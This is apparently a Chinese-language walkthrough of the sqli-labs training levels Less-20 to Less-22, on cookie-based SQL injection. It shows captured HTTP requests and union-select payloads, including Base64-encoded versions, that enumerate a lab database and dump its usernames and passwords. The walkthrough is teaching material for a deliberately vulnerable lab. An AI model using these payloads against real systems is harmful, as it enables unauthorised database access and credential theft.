COOKIE
作用:是由网络服务器存储在你电脑硬盘上的一个txt类型的小文件,它和你的网络行为有关,记录了当前用户的状态
形式:key=value
例如:当我们登录某个账号后,服务器会在cookies进行记录
个人理解:当我们登录一个网站后。setcookie函数根据我们登录的账户及密码,加上获取当前时间等其他信息,来生成一个cookie,当我们再次访此页面,不需要重新登入,只需要比对cookie信息,比如在less-20中,cookie根据uname生成,然后用cookie中的信息来比对数据库中的uname,如果正确容许访问。负责拒绝
less-20
首先登入一个账号,模拟登入下的注入
登入后用bp抓包
GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin
Upgrade-Insecure-Requests: 1
Priority: u=0, i
发现相较于之前,没有了post提交的表单信息,而是ookie:uname=admin
发包,页面回显
页面有cookie信息和name及password
当我们发包时,数据库提取cookie的uname与数据库的uname进行比较。
于是我们便可以在cookie处进行注入
闭合方式
GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin' or 1=1 #
Upgrade-Insecure-Requests: 1
Priority: u=0, i
在cookie处多次尝试,确定闭合方式为'
,方法与前面关卡寻找闭合方式一样。
列数
Cookie:uname=admin’ order by 5 #
Cookie:uname=admin’ order by 4 #
Cookie:uname=admin’ order by 3 #
列数为3
回显位
Cookie:uname=adminaWE’ union select 1,2,3 #
记得uname为假值,来显示union查询的值
报数据
所有表
- Cookie:uname=adminaWE’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
security的所有表
- Cookie:uname=adminaWE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
users表的所有列
- Cookie:uname=adminaWE’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
数据
- Cookie:uname=adminaWE’ union select 1,group_concat(username,password),3 from security.users #
less-21
本关卡当我们登入的时候发现页面显示
这里cookie变成了不认识的符号,我们复制过去百度一下,
发现这是一种编码,为Base64编码,熟悉的热相信一眼便可以看出来,于是我们不难猜测这是将前端表单信息进行编码,上传到后端解码在进行比对,
所以本关与less-20一致,只不过对cookie进行了Base64编码,我们在进行注入的时候可以先将语句写出来,进行编码,然后在bp中进行注入
闭合方式
构造语句并进行编码
在bp注入
回显
不难看出闭合方式为')
.
报数据
所有表
- Cookie:uname=adminaWE’) union select 1,group_concat(schema_name),3 from information_schema.schemata#
编码YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj
security的所有表
- Cookie:uname=adminaWE’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
编码
YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj
users表的所有列
- Cookie:uname=adminaWE’) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
编码
YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==
数据
- Cookie:uname=adminaWE’) union select 1,group_concat(username,password),3 from security.users #
编码
YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpLDMgZnJvbSBzZWN1cml0eS51c2VycyAj
less-22
我们发现本关卡也对cookie进行了编码,当我们注入时,发现页面没有回显,当时页面有报错,所以使用报错注入,extractvalue,updatexml,floor都可以使用,闭合方式为"
.没有其他变化,所以不做过多演示,如果有需要,可以留言,我会将我的语句放在评论区